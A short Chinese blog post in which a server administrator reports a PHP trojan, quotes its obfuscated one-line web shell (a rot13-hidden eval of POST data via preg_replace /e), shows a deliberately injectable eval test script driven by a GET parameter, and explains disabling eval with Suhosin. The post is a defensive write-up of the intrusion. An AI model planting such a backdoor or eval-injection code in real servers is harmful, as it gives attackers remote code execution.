中木马了

服务器中了木马,代码如下:

($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

原理:

这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:

<?php
// filename: test.php
$var = "var";

if (isset($_GET["arg"]))

{

  $arg = $_GET["arg"];

  eval("\$var = $arg;"); // 这一句容易写错,导致验证效果不对

  echo $var;

}
?>

然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。



解决方案:

看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。



如何测试是否禁用成功,增加程序test.php:

<?php
//  例子来源:http://www.php.net/manual/zh/function.eval.php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
eval("\$str = \"$str\";");
echo $str. "\n";
?>

如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。



方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:

[root@AY]# php test.php
PHP Fatal error:  SUHOSIN - Use of eval is forbidden by configuration in /home/domain/test.php(6) : eval()'d code on line 1


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值